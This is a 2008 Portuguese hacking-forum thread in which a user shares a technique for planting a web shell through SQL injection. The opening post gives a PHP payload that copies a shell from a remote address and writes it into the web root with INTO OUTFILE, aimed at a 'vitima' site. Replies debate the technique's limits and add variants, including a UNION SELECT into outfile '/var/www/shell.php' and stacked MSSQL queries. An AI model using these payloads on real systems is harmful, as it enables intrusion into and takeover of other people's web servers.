FORUM DARKERS

Segurança & Hacking => Bugs | Exploits | Vulnerabilidades => Tópico iniciado por: Mateus online 03 de Fevereiro , 2008, 03:58:26 PM

Título: Ganhando acesso ao shell por SQLinjection
Enviado por: Mateus online 03 de Fevereiro , 2008, 03:58:26 PM
lembrei a pouco tempo de uma tecnica que bem....não sei se fui eu que inventei, masss....eu desenvolvi sozinho e agora resolvi compartilhar.

não existe como fazer um tutorial tipo receita de bolo pq nesse metodo cada caso é um caso.

conseguiu achar uma vulnerabilidade que possibilita sql injetction num site? otimo!, vc não precisa de muito mais que isso!

sim mateus...mas e agora o que eu faço?

simples, vc da um update em alguma row com o codigo que vc quer  executar, neste caso um em php que vai copiar a shell para dentro do servidor.

<?php copy('http&#58;//endereçodashell','destino&#46;php'); ?>
ficando assim por exemplo:

'UPDATE tabela SET campo='<?php copy(\'http&#58;//endereçodashell\',\'destino&#46;php\'); ?>\' WHERE id=qualqueridvalidapronto...agora vem a magica:
vc vai usar um comando sql que pouca gente conheçe, o INTO OUTFILE, vc tera que fazer uma query mais ou menos assim:
SELECT campo FROM tabela WHERE id=amsmidquevcposantes INTO OUTFILE='caminhoprapastadosarquviosdoservidorweb+onomedoaruivo(ex:/var/www/shellcopy.php)'
agora tudo que vc precisa fazer é acessar a url do arquivo que vc criou, neste caso http://www.vitima.com/shellcopy.php (http://www.vitima.com/shellcopy.php)
pronto, seu comando php foi executado e sua shell foi copiada para dentro, é só usar!

só testei essa tecnica em servidores php com mysql, mas creio que ela possa ser adaptada para asp e asp.net + mssqlserver.

creio tambem que não fui muito claro, se tiverem duvidas é só perguntar, até a proxima ;)

Creditos:Eu
Título: Re: Ganhando acesso ao shell por SQLinjection
Enviado por: Wuefez online 03 de Fevereiro , 2008, 06:53:09 PM
Isso só funciona em teoria...

Sabe porque? O usuario que o MySQL usa é diferente do usuario que os arquivos do site estão, logo você só pode escrever em diretorios que são do usuario que o mysal usa.

Isso até pode funcionar se você achar uma pasta com permissões globais (777).

Porém apenas uma dúvida, como você faz pra descobrir o diretorio pra onde você vai copiar a shell?

Sinceramente, não, eu não levo fé nisso dai não...

Créditos: Wuefez (um n00b ai)
Título: Re: Ganhando acesso ao shell por SQLinjection
Enviado por: Mateus online 03 de Fevereiro , 2008, 07:18:45 PM
bah, isso num servidor bem consigurado não funciona nunca ^^
bah, qualquer erro no sql ou webserver revela isso ^^
rapaz com servidores xampp pra windows ou linux funciona que é uma beleza, até pq vem com o phpmyadmin aberto sem senha :D
Título: Re: Ganhando acesso ao shell por SQLinjection
Enviado por: branco online 04 de Fevereiro , 2008, 01:32:03 AM
vale ressaltar que no caso o cara tambem vai ter que encontrar 2 vulnerabilidades de sql injection no servidor né.

uma que usa update, outra que usa select.

ao invés de utilizar copy, poderia usar um include de uma vez.

mas, em teoria, interessante sua tecnica, até que foi bem observado.

agora não posso testar, mas talvez também de pra fazer algo do tipo :

select user,password from usuarios where user = 'branco' and password = 'test' or 0 union select 1,'' into outfile=diretorio#'

dessa maneira poderiamos fazer isso apenas com uma vulnerabilidade em uma query SELECT.

talvez seja melhor no mssql, porque lá podemos ter querys em conjunto, como SELECT com UPDATE, UPDATE com SELECT, ai seria mais facil.

mas isso ae,
até
Título: Re: Ganhando acesso ao shell por SQLinjection
Enviado por: Wuefez online 05 de Fevereiro , 2008, 05:44:33 AM
Outra coisa que eu nem sei, é que permissões o usuário que o script usa pra acessar o MySQL (não o usuario que o processo do MySQL esta usando no S.O) teria que ter pra usar "into outfile"....

Citartalvez seja melhor no mssql, porque lá podemos ter querys em conjunto, como SELECT com UPDATE, UPDATE com SELECT, ai seria mais facil.

Pior que não... O que pouca gente sabe é que os sql servers em geral tem funções built in, sim eu me refiro a functions()...

Um exemplo de uma function boba que não nescessita de uma variavel de entrada para funcionar:

SELECT * FROM table ORDER BY RAND()
No caso a function RAND() faz o resultado vir aleatorio...

Existe uma certa function (que é comum no MySQL e MS-SQL, mas não sei se tbm existe em outros) que te permite passar por dentro dela uma sub querie (ou seja é POSSIVEL ter um inject insert dentro de uma querie select)...

Quem se interessou, no slackers ja foi postado isso diversas vezes........

http://sla.ckers.org/forum/list.php?16 (http://sla.ckers.org/forum/list.php?16)
Título: Re: Ganhando acesso ao shell por SQLinjection
Enviado por: branco online 05 de Fevereiro , 2008, 12:21:35 PM
tipo, procurei lá e não vi nada de insert com mysql, pelo contrario, vi oque eu disse :

CitarRe: SQL Injection, append INSERT to SELECT
Posted by: fyoung (IP Logged)
Date: January 21, 2008 07:59PM

What about doing something like..

id=-1 union select '' into outfile '/var/www/shell.php' -- -

eu me refiro a SELECTS com UPDATES só pelo fato que pra usar a tecnica do mateus precisariamos ter uma query que faça SELECT e outra que faça UPDATE.

caso o servidor fosse mssql, ai precisariamos só de uma vulnerabilidade.

quanto à função de subquery, na verdade isso é apenas um conceito, não se trata exatamente de uma função...
dizem que isso é uma query com subquery :
select 1,10,100 order by (select 1);

os dois são selects do mesmo jeito, dessa maneira não tem como passar por dentro dela um INSERT ou UPDATE ou qualquer outra query, isto é, no Mysql.

no mssql não temos necessidade nem de utilizar subquery, porque podemos fazer coisas do tipo :

select user,password from usuarios where user = 'branco' password='test' insert into ....

tem muito material de buffer overflows em funções do oracle, porém no mysql eu nunca pesquisei, nada é impossivel, com um pouco de pesquisa podemos fazer muita coisa.

até